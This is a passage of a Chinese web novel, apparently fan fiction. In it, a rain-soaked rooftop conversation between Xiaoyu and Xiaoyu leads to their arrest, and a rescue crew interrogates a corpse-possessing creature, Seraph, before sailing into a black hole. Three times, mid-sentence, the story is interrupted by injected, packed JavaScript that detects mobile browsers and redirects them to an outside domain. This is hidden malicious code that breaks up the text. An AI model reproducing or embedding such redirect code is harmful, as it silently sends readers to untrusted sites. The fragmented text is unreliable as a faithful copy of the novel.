“￥%&&%……&*%￥￥%……” （在虚假的人身上投入真实的情感……你还真是死性不改……） 一墙之隔，两个世界。 小语又拿出了自己的笔记，开始在上面画草图列材料。最后她圈出了一项材料，这是她必须拿到的东西。 只有拿到那个东西，才能做出让船漂在水面上的涂层。今晚得去一次教堂地下仓库…… 不对，那边在举办主教的葬礼，仓库应该会人来人往的，估计没法混进去偷东西。 ……还是等葬礼结束再去吧。 定好计划，她收起笔记本，又开始发呆。 外面下雨了，阴沉的雨雾笼罩着大地，宛如轻烟，又似薄纱…… 真好，下午不用去扫地，可以在床上睡一觉。 她的思绪漫无目的地飘荡，脑海中浮现出各种稀奇古怪的幻想。 然而，就在这时，一阵悠扬的笛音打断了她纷飞的思绪。 那音色优美、空灵、缠绵……却又带着几分孤寂和冰冷，就像这绵绵不绝的雨雾。 小语听着听着，那笛音伴随着雨雾，一同浸入了她的眼睛里，她的心里。 她忽然站起来，带着一把伞出门。 她要去找那个吹奏长笛的人。 68.068 她在天台找到了那个人。 这人不是别人，正是小鱼。该说不说……一点都不意外。 他盘坐在天台边，闭着眼睛吹奏乐曲，对外界的环境浑然不觉。 细雨挂在他的发丝、睫毛上，像是一串串晶莹的水钻。长笛湿了，于是那音色中带上了几分湿润的雨汽；衣服湿了，于是那乐曲中染上了几分萧瑟的冷意。 小语怔了片刻，随后默默走到他身边，将伞撑到他头顶。 似乎完全没有察觉到她的靠近，他的思绪依然沉浸在乐曲中。 成群的乌鸦在天空中飞过，它们在空中盘旋、玩耍，小语的目光中流露出几分羡慕，随后怅然地收回了视线。 然后，她忽然发现他们的衣服也是黑色的，像两只天台边emo的乌鸦。这个联想让她会心一笑，然后继续emo。 乐曲在悠长的尾调中结束，小鱼缓缓睁开眼，用那被雨浸润的双眸，深深地注视着她。 他的眼神和之前不一样了。 炽热的火焰消失了，仿佛焚烧了自己的一切，只留下了亘古永存的余烬，执着地散发着余温。 她想问他是不是想起了点什么，结果被小鱼忽然出声打断了思绪。 小鱼：“抱歉，之前不该那么说。” 小语：“……昭昭逼你向我道歉了？” 小鱼抽了下嘴角，“没有，我们只是在聊开心的事。” 小语：“？” 小鱼：“我只是觉得当时不该那么说，但不觉得自己说错了。” 小语：“？”她从鼻子里哼笑出声，“行。” 她不想多说，转身就要走，不料被小鱼捉住了手腕。她脸上掠过一丝愠怒，拧动着自己的手腕试图挣脱他。 小鱼没有放手，他仰着脸，依然是那个看似弱势地从下往上看的仰视，但无论是神态还是动作都透露着强势。 他说：“我没有嫌弃你柔弱的意思，我只是不想看你受伤……尤其是为我。” 他的声音仿佛也浸润了轻柔的雨雾，清凉而温和。 小语即将爆发的怒意被雨雾渐渐抚平。 她看了他一会儿，别开视线：“每个人都要为自己的选择付出代价，承担后果。你没有求我帮你，那么无论我遭遇了什么，都是我自找的。” 小鱼：“但我会很难过。无论是哪一个你，都总是冲锋陷阵去做别人的英雄，让自己伤痕累累，但你已经不是……”无畏善战的猎人小姐了。 小语不知道他最后那个未尽之语到底想要表达什么，但她不想追问了，她只想严肃地纠正他：“我只是在做自己想做的事，没有当谁的英雄这一说。” 小鱼不想和这个别扭怪针对这个话题打辩论赛，只是淡淡地点头，说道：“好，那我以后都跟着你。” 小语：“？” 她表情空白了一瞬。 这话题跳跃太快了，她是不是错过了什么辩论的流程，直接听到结论了？ 不是，最关键的是—— 小语有点破防了：“你跟着我干嘛？？” 小鱼：“给你打下手，当保镖。这样就不用担心你在我看不见的地方受伤，以后你要保谁我就帮你保谁，你要干掉谁我就——” 小语连忙打断他：“等等，越说越离谱了！你没事吧？雨淋多了发烧说胡话？” 他把她的手拉到自己的额头上，让她探探自己的额头温度，“怎么样？我没发烧吧？现在知道我是认真的了？” 小语要跳脚了：“认真你个头啊！我要永远留在这里，你难道也——” 小鱼用脸颊蹭了蹭她的手心，笑着说：“是啊，我也永远留在这里。比起陌生的大海，你的掌心才是我最熟悉的地方。” 小语：“但你本来就属于大海！” 小鱼：“你这只蝴蝶不也是把自己困在这囚笼中吗？那我自愿困于你的掌心，不也合理？只许你这么干，不允许我效仿？” 小语哽住，气结，瞪着他说不出话。 她不想理他了，气得把头扭到一边去。 手救不回来就救不回来吧，她放弃挣扎了。 小鱼撒娇般地晃了晃，她不转过来，再晃晃，还是不转过来，她整个人看起来都有点低气压了。 他意识到有些不对，急忙站起身，转到她面前。 “你不会哭了吧？” 小语瞪了他一眼。 哭倒是没哭，但是情绪很低落，连逼都装不动了，那个冷脸都做不出来了。眉头皱着，嘴角下撇，如果她也有什么猫耳朵猫尾巴，此刻一定是耷拉下来的。 小鱼狂压嘴角，伸手揉她的头发，“怎么看到别人放弃自由，你比自己放弃自由还难过啊？” 她啪的一下打掉他的手，伞不小心掉了，她也不想管，自己跑到天台另一边emo去了。 男孩捡起伞，追上去举到她头顶，“再生气也别拿身体开玩笑，这雨很冷的。” 两人并肩而立，小鱼撞了撞小语肩膀，努力活跃气氛，“别难过了，我们聊聊天。” 小语emo到完全不想说话，但没关系，他话多就行了。 小鱼：“你的画风很写实，乍一眼会以为是照片，这功底不是一朝一夕能练成的，有谁教过你绘画吗？” 小语声音闷闷的：“……我买了书，对着书练习。” 小鱼：“如果没有老师从旁指导，这条路会走得很艰难，但你还是做到了，这需要几乎等同于偏执的意志力。创作……对你来说很重要吗？” 楼道中他问到时，小语回避了这个问题。 或许是当时他问得太突兀了，她没做好心理准备。也或许她当时就纯看他不顺眼，不想告诉他。 但总之，现在她终于肯说了。 乌鸦仍在雨雾中盘旋，她看着看着，只觉得自己也像那乌鸦，努力地要穿过人生中的雨雾，但放眼望去，只能看到一片空茫。 “我曾经以为，只要我一直创作下去，我就能从中获得活下去的力量……可以说，它是我的‘生命之源、灵魂之火’也不为过。”她这样回答。 这个回答远远超过了小鱼预想的分量。 明明刚刚淋雨的时候都没起鸡皮疙瘩，听到这个回答，他却感觉仿佛有股电流瞬间经过全身，浑身的鸡皮疙瘩在难掩的兴奋中战栗。 还有什么比心上人和自己志趣相投更值得高兴的事？ 小鱼：“既然这么重要，为什么还要把画册扔掉？这么多年都舍不得扔，为什么偏偏今天扔？” 小语：“只是忽然觉得，执念消失了。” “是我一直搞错了顺序……原来是因为我想活下去，才会去创作。画画也好，写小说也好，一切都是因为我想要活得像个人，我需要一个地方安放我的理想，而不是让它在现实中消耗殆尽，最终自己也变成行尸走肉。” “现在的我……已经什么都创作不出来了，因为我已经……” ——没有活下去的意志了。 他知道她要说什么。 过于纯粹的人啊，眼里揉不了半粒沙子。如果这个世界终究无法符合她的心意，那她便宁愿永远把自己困在这里，眼不见为净。 但是……但是，人生总是要向前的。 小鱼轻轻地握住她单薄的肩膀，问道：“你知道你梦里那个小鱼，为什么要跃出海面吗？” 小语：“……因为爱？” 小鱼忍不住嘴角上扬：“好吧，这确实也是一部分原因。但你有想过吗，或许是那条小鱼不喜欢大海呢？” “大海那么冷，那么黑，它跃出海面跳到你的掌心，或许是它想逃到大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小语下意识地打量这些陌生的面孔，就看到其中一个男人看到他们，眼睛顿时亮了。 她微不可查地皱了下眉，小鱼拉了下她的手，她转头看到他冷静的目光，便对他笑了一下，随后跟着他去了教室的后排坐着。 人都到齐了，新任的主教开始演讲，主要核心思想就是：我们要抓第一个回应红衣女的人，请大家配合一下。 接着，从教职人员开始，一个个被叫出去谈话，十分钟后再回来。 小语很快被叫到，她跟随神父来到了审讯室，审讯室里的同样是个陌生的神父。不过他好像生了皮肤病，口鼻用围巾裹得严严实实，露出来的皮肤泛着密密麻麻的红点。 她若有所思地看着他。 总觉得这个人有点熟悉…… 神父翻来覆去问她一些问题，主要就是监狱守则的内容和她昨天夜里都在干什么这些事。 她对答如流，挑不出丝毫破绽。 十分钟结束，她被带着离开审讯室。但临走前，她又看了那个神父一眼。 对方正将她的档案放置到桌上审讯完毕的那一堆档案上，没有丝毫异样。 回到教室里，她告诉小鱼审讯室的情况，好让他心里有底。 过了大约一个小时，小鱼被叫过去了。 十分钟后他回来了，神色和出去是没什么不同。他冲她点了下头，示意一切顺利，没有任何意外。 漫长的审讯一直持续了三个小时，才把所有人都审讯完。 审讯室的神父也从审讯室里出来了，他走到主教身边低声说了什么，然后把手中的材料递给他。 小语漫不经心地看了眼，然后再度开始发呆放空。 主教翻阅着手中的材料，满意地对协助者表示了感谢。 随后，他向在场的众人宣布：“经过细致的侦查和审讯，我们已经锁定了嫌疑人。他们就是——” “小鱼，傅秋语。” 两人愕然看向主教。 怎么可能，他/她的回答明明没有问题！ 主教对手下挥手示意：“把他们带走。” 69.069 两天前，救援队船舱。 麻醉枪药效的持续时间为8小时，但这个功效只针对齐格有用，炽天使在2小时后就清醒了。 他醒来时，发现自己正被Evol用幻化出的锁链紧紧束缚在椅子上，而齐格则昏迷在一旁，距离他约有三米远，同样被锁链束缚。 船舱里黑漆漆的一片，没有人守着，Evol幻化成的锁链除了Evoler本人解开，或者死亡，没有第三种办法解除。 他放弃挣扎，选择摆烂等着来人来审问他们。 倒是没想到，这个队伍中居然还配置了一位Evoler……或者两位？ 炽天使想起晕过去之前，那个名叫安迪的男人展现的惊人的枪法……那是人类能达到的设计水平吗？就算是神枪手也不可能在那么多环境干扰因素的影响下百发百中吧？ 这倒是个不错的附身对象…… 船舱不但黑，密闭性也好，外面根本传不进一点声音，耳畔只能听到齐格均匀稳定的呼吸声。 他虽然没有挣扎的意愿，但他还有其他要做的事，不想对自身所处的状况一无所知。 没有人来，他就心数时间。 大约5小时后齐格醒了，和安静等人来的炽天使不同，这位一醒来就想着跑，发现束缚自己的是Evol，骂骂咧咧地说早知道带公司最新研发的□□来。 炽天使泼冷水，说就算带了也会被搜走，一点用都没有，不如从现在开始想怎么脱身。 大约又过了两个小时，舱门终于打开，进来两个男人——德雷克和安迪。 德雷克一进门就看到齐格在那儿无能狂怒骂自己的同伴，这种反派队内互撕的乐子他最爱看了，当即眉头一挑，兴致勃勃地对炽天使说：“你是不是不行？这都不骂回去？嗓子被痰卡住了？安迪，去，把我们的马桶塞拿过来，给这位好汉通通嗓子——” 安迪扶额：“我们不是来看戏的。” 德雷克：“反正等漆干了还有个半天，这期间我们没法行动，看个乐子怎么了……说起来你有没有闻到什么臭味？” 安迪皱眉：“确实有……好像是什么东西腐烂的气味。” 德雷克：“房间里有死老鼠吧？” 听到他这么说，齐格当即嗤笑一声，对炽天使说：“说你呢，死老鼠。” 炽天使用那双死寂的、阴冷的眼睛打量他们，对齐格的脑残挑衅置若罔闻。 德雷克对这种打量很不舒服，眉头皱了一下，“你是哑巴了还是傻了，原来你从上船以来就没说过几句话的原因是智力有问题？” 炽天使：“很吵，把他的嘴堵上，齐格是脑残，回答不了你们什么，我来回答你们的问题。” 齐格：“？你这个狗杂种你是不是想呜呜呜——！” 德雷克爽快地脱下自己大夏天几天没洗的原味袜子塞进了齐格嘴里，当即就看到对方脸一绿，被熏得两眼一翻，想吐但吐不出来，想晕晕不过去，一脸狰狞地在椅子上疯狂扭动。 安迪嘴角一抽，默默离这帮子人远了点。他有洁癖，看不得这个。 德雷克痞里痞气地拍拍手，自己拖了个凳子坐到炽天使对面，二郎腿一翘，说道：“审讯你们这种不法分子的工作，本来不应该让我们海上救援队来做，应该把你们直接扭送到警察局。但没办法，我们赶着救人。” “说吧，彼岸是什么组织，你们为什么要抓岛上的那对男女？你们的行动计划是什么？一五一十老实交代。” 齐格：“呜呜呜呜呜！！！” 炽天使瞥了他一眼，说道：“彼岸是垃圾，我没兴趣服务这个组织，齐格才是任务的总负责人，我只是协助。” 德雷克问得太糙，这样问不出什么，安迪接过审讯的工作：“意思就是齐格是彼岸内部人员，你是劳务派遣？” 炽天使：“可以这么说。” 安迪：“你不是普通人，你没有呼吸……你到底是什么？活死人？新型寄生型流浪体？” 德雷克吃了一惊，仔细一看，发现这人脸色惨白得可以，还真是没有呼吸，皮肤上似乎隐约可见尸斑。 他默默坐远了些。 炽天使：“寄生型流浪体……这倒是挺符合。这个人在我附身的时候就已经死了，活人虽然也可以附身，但稳定性太低，我更喜欢尸体。” 安迪对德雷克：“倒是个有趣的发现，回头可以把它交给猎人协会。” 他又问炽天使：“你们初来那几天似乎并没急着抓岛上的那对男女，而是仿佛像等待着什么一样，直到黑洞开启后才动手，为什么？” 炽天使：“男的只是不知道从哪儿乱入的，那女的才是我们的目标。那是个……很有意思的人，她身怀巨宝而不自知……我们需要激活她的力量。” 安迪眸光微动：“……力量？那应该不是Evol。彼岸在这场灾变之前就已经研发出针对性的高抗材料，那这场灾变……” 炽天使：“是天意。这场灾变在很多年前就已经有了苗头，彼岸只是顺势而为。” 德雷克：“什么意思？” 安迪：“……也就是说，V.E物质在很多年前就已经出现了……” 炽天使：“不错。” 安迪：“在你们的原计划中，我们——除了加西娅女士之外的所有人——都会死，是吗？” 炽天使：“是。” 他这么坦然，德雷克额角爆出几根青筋：“你们还挺自信。” 安迪：“有人来接应你们吗？” 炽天使：“暂时没有。原计划中，我们成功回收加西娅后，就用你们的船返回陆地。” 安迪：“也就是你们行动失败后，就会有人接应你们的意思？” 炽天使：“距离我们晕过去后过去多久了？” 安迪：“九小时。” 炽天使：“我们以七十六小时为界。如果在这个时间里我们没有任何消息，视为行动失败，总部会派人来进行善后。” 德雷克皱眉：“我们时间不多了。” 安迪：“如果这段时间里，一直有人在和总部发信号呢？时间会往后延吗？” 炽天使：“不会。如果七十六小时内我们都没有回收目标，总部会默认我们没有这个能力，他们会派更强的人来执行任务。” 安迪：“……也就是说，横竖只有三天。” 德雷克：“你们为什么非要激活她的力量再回收，直接回收不行吗？这样也比较好抓吧？人都到手了，你们想怎么激活都可以。” “而且那里四处被V.E物质围堵，你们要怎么进去再把人带出来？” 炽天使：“太危险了，如果那么做，整个基地没了不说，里面的工作人员也都会死在她手上。一个注定会爆炸的核武器，让她在靶场爆炸，总比在基地里爆炸强多了。” “先让她爆完，在她虚弱的时候回收，失败了大不了死几个人，实在不行就放弃，不至于都搭进去。” 德雷克不太信：“有这么厉害吗？这可比我已知的最强Evoler还要夸张了。” 炽天使：“随你信不信，我以为她展现的力量已经够令人信服了。” “至于原计划里怎么进去……被驯服的流浪体不止我一个。” 德雷克想起来了，在外面动乱时好像确实有流浪体飞到黑洞里去了。 他们的回收计划还在进行，但是没有了主人操控，流浪体在里面不知道会不会失控…… 也不知道黑洞里是什么情况，它们有没有找上他们。 安迪思忖片刻，说道：“你还真是有问必答，我还以为必须用点手段你才肯说。” 炽天使默了默，说：“其实…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794733|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也是被逼无奈。如果不是他们用我的家族成员来威逼我，我根本不愿意与他们合作。” 德雷克一脸看到了灵异事件的表情：“不是？？流浪体还有家族？？” 炽天使：“为什么不能？……我能与你们如此流畅地沟通，还不能证明我不是普通的流浪体吗？” 德雷克：“……啊！”他才反应过来：“还真的！” 他高兴起来：“把它交给猎人协会，一定能拿到高额赏金！” 他完全沉浸在丰收的喜悦中，安迪摇头闭目。 炽天使：“……加西娅女士很无辜，明明什么都没有做错，却被彼岸选做了目标。” 他的死人脸做不出什么表情，只能用眼睛看着他们，“既然已经被你抓获，我也不想再做害人的事了……我想帮你们救她。” 安迪似乎是觉得很好笑，向来不苟言笑的他此刻居然嘴角扬起一个嘲讽的弧度：“你这套话术，去骗我旁边那个幼稚的小朋友差不多。” 德雷克迅速收回动容的目光，偷偷擦汗：“你别点我，我可没信！它……它这话术分明和失足女一个类型吧！生病的妈，好赌的爹，上学的弟弟，破碎的家，你丫一流浪体和我整起家族羁绊，浪子回头痛改前非这些戏码了，我不信的哈！” 安迪：“没信你话这么多干什么？” 他翻了个白眼，对炽天使说：“我一向认为行动大过语言，你不如先告诉我，你能做到什么。” 炽天使想了下，说道：“……我想到外面看一眼……看看那个黑洞已经演变成了什么样子，可以吗？” 安迪没有意见，他看向德雷克，对方打了个响指，Evol锁链换个绑法，松开炽天使的腿，并且把他提了起来，吊在半空中。 德雷克露出一个恶劣的笑容：“既然是寄生型流浪体，你不会趁我不注意的时候，附身到我的下属身上藏匿起来吧？” 炽天使平静地回答：“我已经说过了，我不喜欢这种事。既然被你们抓住了，我不想再干伤天害理的事。” 德雷克：“真的吗？可是流浪体对人类恶意是刻在本能里的，你为什么会没有？” 炽天使：“……我的整个家族都没有。正因为这个特质，才会被抓起来利用。我没有骗你。” 德雷克又想了想，随后一拍大腿，从椅子上站起来：“行，我暂时信你。” 他把炽天使放到地上，让他自己行走，但依然没松绑，安迪把门打开，光线照了进来。 一行人离开船舱，房间中只留下瞳孔地震的齐格。 ……妈的，小看它了。从前怎么没看出它这么狡猾？ 也是，能以一己之力手刃前任主人，把彼岸干残到至今剩余势力不敢出来，这狗东西确实有点东西。 ——它不是流浪体，而是以V.E物质创造的类人生物；天使家族的确在EVER打工，但不是被迫的，因为最初是炽天使主动找上门的。 它以普罗大众的认知构筑了一个95%都是真话的谎言，从而掩盖它真正的目的。 本来听过程的时候，他还搞不懂这家伙葫芦里到底在卖什么药，结果它铺垫那一堆最后表示“我要痛改前非，去救那无辜的女士”的时候，他好险没笑出来。 他甚至不愿意带上那个一同被困的男人。 也是，这只疯狗可不得了，当初不但自己找上EVER，还自愿套上了狗链子——那个抑制器。 虽然他很怀疑这狗东西的忠诚度，不知道他到底想干什么，但在他达成自己的目的之前，应该还不至于背叛EVER。 就让他去演吧，说不定还真能取得救援队的信任，成功回收救世主呢？ 届时这疯狗再翻脸无情，杀了救援队这帮子人……噗嗤！想想那时候的场面，他们那不可置信的表情…… 这可太有乐子啦！ 70.070 出了船舱，他们的位置面朝东。 明明此时是白天，天空上万里无云，又没有水雾，海上又不存在遮挡物，但炽天使就是觉得那太阳很灰暗，好像被蒙上了一层若有似无的灰。 德雷克：“你是不是也觉得太阳不亮了？” 炽天使：“的确，直视它都不会觉得刺眼。” 德雷克领着他穿过走廊，再攀上梯子到达上层甲板，那里晾着他们刚漆好的救援船，油漆味无比刺鼻，相比之下，炽天使身上的腐尸臭味竟显得不那么明显了。 他指向西边，“现在外边成这样了，你自己看吧。” 炽天使眼前一黑。 物理意义上的眼前一黑。 入眼的一切都好像变成了灰色和更深的黑色。大海是灰色的，不断地有一些黑色的物质从大海中脱离，宛如被引力吸引一般飞到上空，飞到了那悬挂于高天之上如同太阳一般的黑洞中。 天空也是灰色的，没有云彩，于是那黑洞看得更清楚了。 仿佛天空中破了一个大洞，V.E物质仿佛是这个世界的一切色彩所化，黑洞吸走了V.E物质的同时，也带走了这个世界一切的颜色。 同时，虽然黑洞不吸普通物质，引力却能引发潮汐运动。那片灰色的海，被黑洞的引力牵引，正不停地翻滚着汹涌的海浪。 但炽天使并没有感觉船很颠簸……他察觉到了哪里不对。 刚刚出船舱的时候，他看到的景色一切如常，只是太阳灰了一点，天和海都是正常的蓝色…… 他迅速改变观察位置，由于两侧被遮挡，视野受限，只能望向单侧。于是，他攀上更高一层，这时，他终于看清了全局…… 原来那曾经被V.E污染的整个海域，从海到天，都变成界限分明的黑灰色，可以看到一条很明显的分界线，划分出两个不同的世界。 潮汐异常也只是局限在分界线内，和外界颜色正常的空间相比，简直像一个乱入的世界。 他缓缓转头—— 但，两个空间也不是完全没有影响。 比如界限内潮汐异常虽然不会扩散到界限外，但水流运动的势能会，只是船离得远，水的势能到这边减弱了。 以及光线是从东边来的，但是光线照到这里的时候就已经减弱了，他注意到光照到桅杆投到甲板上的阴影是扭曲的，是非常有规律的波浪状。 ……就算不在范围内，黑洞也会捕捉界限外的光线，并且影响范围还挺广，至少他们就在影响范围内，所以他看到的太阳才会发灰。 如果是傍晚再看这个太阳，恐怕他们所处的海域会一点光都透不过来，因为光线进入那片空间就被吞噬了。 “太惊人了……” 即使早就知道这位“救世主”不一般，但怎么也没想到……她比他们想得还要更……令人震惊！ 这是她的力量？ 如果她能做到这种事……她究竟是救世主，还是天灾本身？ 安迪不知道什么时候站在他身边的，他不咸不淡地说：“演得还真像……” 他点了根烟，靠在栏杆上，“这么惊讶，你们彼岸难道没有料到这种情况？” 炽天使回头看他，对方的视线透过烟雾冷淡地审视他。 安迪问：“这是你们干的？还是……这是灾变的一种形态？” 炽天使这次是真不知道，“这根本不是人类能做到的事，至于V.E灾害是否存在形态变化……我也不知道。” 他从前主那里得到的资料不全，很多信息都被紧急删除了，那老东西也留了不少后手。 安迪：“如果V.E区最终都会演变成这样，那这个世界迟早会被这样一步步蚕食，直至彻底灭亡，这比深空隧道还要可怕。” 虽然说着这种心系天下的话，他语气却平淡得比他附身的这具尸体的心跳还要波澜不惊。 炽天使感觉他的目光很凉，看着他的眼神透着微妙的不舒服，似乎在试图透过这具躯壳看着他的本体，又或许是透过他的表象审视他的灵魂。 安迪说：“我很好奇，作为一只……”他微妙地笑了一下，“通人性的流浪体，你对这场灾害怎么看？站在你的立场……其实更希望人类毁灭吧？” ——他是不是知道什么？ 这个念头在炽天使的大脑里划过，但很快就被他否定了。安迪的背景没有问题，他已经在这条船上服役很多年了，和队伍之外的人没有任何交集，就连采购他自己常用的机械电子用品都是委托的别人。 也许他只是疑心更重。 炽天使僵着死人脸回答：“看来安迪先生对我还是没有完全信任。” 安迪微笑，没有说话。 炽天使：“我能理解您的想法，我既是彼岸的打手，又是流浪体，无论是哪个身份都没法令人信任。但您不是一向信任行动多过于语言的吗？我会以行动争取你的信任。” 安迪微微颔首，嘴角的笑意依旧冷淡，他似乎看到了什么，随即轻轻捻灭了手中的烟蒂：“你还是争取德雷克的信任比较实际。” 说完他就水灵灵地走了，直接把他一人丢在了上层。 炽天使：？ 低头一看，原来是德雷克拿过来一个烤火的，安迪和他火力全开地烤小船外面的涂层，两人忙得热火朝天，根本不带管他的。 阳光照在红色的涂层表面，表面呈现出类似朱砂的质感。 为了争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794734|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取信任，炽天使开始积极地帮助他们筹备物资。到了晚上，涂层终于烘干了，他们的救援任务终于得以展开。 巨大的舰船终于驶离了滞留一周的海域，小救援船上的几人摇摇地对还滞留在船尾不肯回去的队员挥手，直到船消失在视野尽头。 德雷克含泪挂断了老婆的电话。 进入黑洞里还不知道会发生什么，他先和老婆汇报一下，以免回头打不通电话老婆着急。 老婆已经进医院待产了，说等他回来就能见到孩子。 德雷克狠狠擦了把男儿泪，拍拍安迪的肩膀：“老伙计，还能划得动船桨吗？” 安迪：“我是老伙计，不是老东西，区区船桨还是划得动的谢谢。” 德雷克拿起船桨的时候不小心拍到了脚下的一个麻袋，麻袋发出了一声闷哼，德雷克：“哎呀，一不小心打到你脑袋了，齐格先生你没事吧？” 麻袋里的齐格发出‘呜呜’的抗议声。 德雷克毫无愧疚地说：“没办法，你留在船上会暴露我的队员的逃跑路线，他们都是普通人，没什么战斗力，我不能让彼岸找到他们，所以我只能带着你行动了，齐格先生你一定会理解我吧？” 麻袋里的齐格：“呜呜！！呜呜呜呜呜呜！！！” 炽天使：“他很赞同这个安排。” 安迪：“是的。” 德雷克和安迪一边扯皮一边划船，炽天使则是将V.E化的绳子紧紧捆在船上，保证待会儿受力均匀。 他的身体是尸体，本体也是V.E产物，自然是不怕这东西的侵蚀。 炽天使在想，其实不止是“救世主”本人，德雷克和安迪也很令他意外，其实他们根本没必要这么做。 他们对救人这件事太执着了，这已经不是普通的热爱工作，他们简直就像信徒对神明抱有绝对的忠诚一样，甘愿把自己的一切都奉献出去。 这个行动对于炽天使而言是一场游戏，但对于他们而言，他们没有丝毫后路，如果不能成功，等待自己的就是必然灭亡的结局。 舰船已经开走了，他们的食物只有三天，多了放不下。 其实只要把齐格做掉，船就能空出空间和载重放更多食物，但德雷克不同意这么做。 多么善良又愚蠢的人类…… 但是，炽天使喜欢这种人。 即使双方立场不同，即使找到救世主后，他还是会动手杀了他们……但至少现在，他愿意给予他们自己不多的尊敬。 船靠近了灰色的海，能感觉到一股吸力在拉扯船只——准确地来说，是在拉扯捆在船上的V.E化绳索。 德雷克和安迪放下了船桨，开始让那股吸力带着船驶入灰海。 71.070 船接近了边缘，激烈翻涌的浪潮让他们不得不抓紧船的侧弦，以免自己被颠飞出去。 手电筒没法在灰海里使用，他们用上了古老的煤油灯，煤油灯的光被黑洞牵引，从均匀地向四周散发，逐渐变形扭曲，向单侧照射。 火光扑闪中，船滑入了灰海。 一进入灰海，他瞬间感受到了巨大的引力从上空传来。 船在震动，V.E化的绳子受引力牵引试图向上攀升，但由于引力还不够大，受制于船的重量无法上升，于是绳子经过一定变形后又弹回了原位，整个船被弹得不断震动。 ——但是，没有声音。 这里安静得可怕，简直像进入了太空一样，不但没有船震动的声音，甚至没有海浪的声音——没错，即使这里巨浪滔天，但没有半点声音。 那个黑洞不但吞噬了光，也吞噬了声音。 德雷克屏息凝神，他用Evol锁链把所有人都牢牢捆在船上。安迪好像和他说了句话，他听不见，但他能从口型辨认出，他似乎在说：还需要再靠近黑洞，要再坚持一段时间。 一个浪打过来，船忽然往侧边翻了，炽天使正想着要不要弃船，结果一个眨眼，船又平稳地回到了海面上。 船位移了。 他看向了安迪，对方掌心的光还没散去。 ——果然是两名Evoler。 越是靠近黑洞，船的震动越强，同时他们能明显地感觉到海潮更汹涌了，每一波浪都可以用巨浪来形容，他们的移动速度也越来越快了。 而他们再一次被巨浪抛到空中时，黑洞的引力终于彻底捉住了救援船。 船升空了。 离开了大海，船立刻平稳了下来。所有人松了口气，德雷克擦了把冷汗，紧绷的肌肉终于放松下来，瘫在座位上喘气。 安迪看到大海里时不时有黑色的物质往上飞，他好奇抓了一把，德雷克见状凑过来看。 安迪搓了搓黑色物质的表面，有点软，像泥巴一样，搓着搓着，一根鱼骨从黑泥中露出来。 他愣了一下，手一松，黑泥就从他手中飞出去，飞向了黑洞。 原来这些黑泥都是……原来的海洋生灵吗？ V.E物质带走了它们的生命，而它们最终的归宿是黑洞……那里是它们的墓场？ 德雷克用口型对他说：你看这个黑洞，像不像星球磁场？ 安迪点了点头。 但是和这个黑洞一比，星球磁场可温和太多了。再也不骂流浪体了，和这个不讲武德的V.E物质一比，流浪体居然他爹的是温和派。 他们越靠越近，速度越来越快，煤油灯的光线被越拉越长，一种令人汗毛战栗的能量拂过他们的皮肤，他们确信，自己听到了谁的叹息。 炽天使猛地抬起头。 他和别人听到的不一样，他听到了很多人的声音。 很多人，很多人的声音。 在那无数嘈杂的声音里，他听到了一个十分陌生，却又令他在听到第一时间就眼眶发热，浑身战栗的声音—— “我的孩子，我可怜的孩子……你不该来这里。” ——‘妈……妈……？’ 他无声地吐出这两个陌生的字。 随后，船驶入了黑洞视野奇点。 世界突然一片漆黑，因为煤油灯熄灭了。四周陷入了一片死寂，他仿佛从喧嚣的声音之海被猛然抛入了一个没有声音、没有光亮的世界。 他忽然感觉到了孤独。 在这一刻之前，炽天使的人生没有孤独。他是一只被仇恨驱动的怪物，从最初的记忆开始，他唯一想做的事就是杀掉束缚他的人。 后来他完成了这件事，但是他还没来得及感觉到空虚，他就又有了想做的事，他要杀掉束缚他整个家族的那个人。 但在这一刻——尤其是他听到了妈妈的声音，却又立刻听不到了的这一刻——他忽然理解了孤独。 这个黑洞仿佛成为了孤独的化身，像一只猛兽，张开巨口将他吞噬。他仿佛回到了记忆的最初，他坐在一个玻璃瓶里，四周无比黑暗、寂静。 那个玻璃瓶，就是他最初的全世界。 德雷克感觉他不对劲，连忙过去晃晃他的肩膀。炽天使呆愣地看着他，无法做出任何反应。 再然后……他看到了光。 无比细碎的光尘，如同繁星洒落，自黑洞深渊飞出。他仔细一看——不对，那不是光，而是V.E物质！ 他们终于来到了黑洞中可以观察到光的地方，而当他们进入这个距离时，他们终于看到——前方是无比眩目的V.E之墙！ 的确，黑洞把这东西吸进来了，里面肯定到处都是这玩意！ 安迪立刻将德雷克的头按下去，两人从座位上滚下来卧倒。 飞来的V.E物质撞到了船身的外涂层，直接弹了出去，但这样撑不了多久，因为这还是在很外层的地方，前方可是有一堵V.E之墙啊！！ 德雷克冷汗瞬间就下来了。 千算万算，还是没有料到里面是这种情况。 他始终认为这个是加强版的星球磁场，里面应该还有一个空间，但没想到他们还要穿过一片V.E浓度高的都快要结晶的通道！这样下去根本撑不住！ 忽然，一个东西裹住了救援船。 那是一双白色的翅膀，很漂亮，每一片羽毛都闪烁着华光。它遮挡在他们上空，将他们与外界完全隔开。 是炽天使，他离开了附身的躯体，用本体包裹住了船只。 仿佛入水了一样，他们明显感觉船撞入了一个很柔软的东西里面，然后，声音回来了。 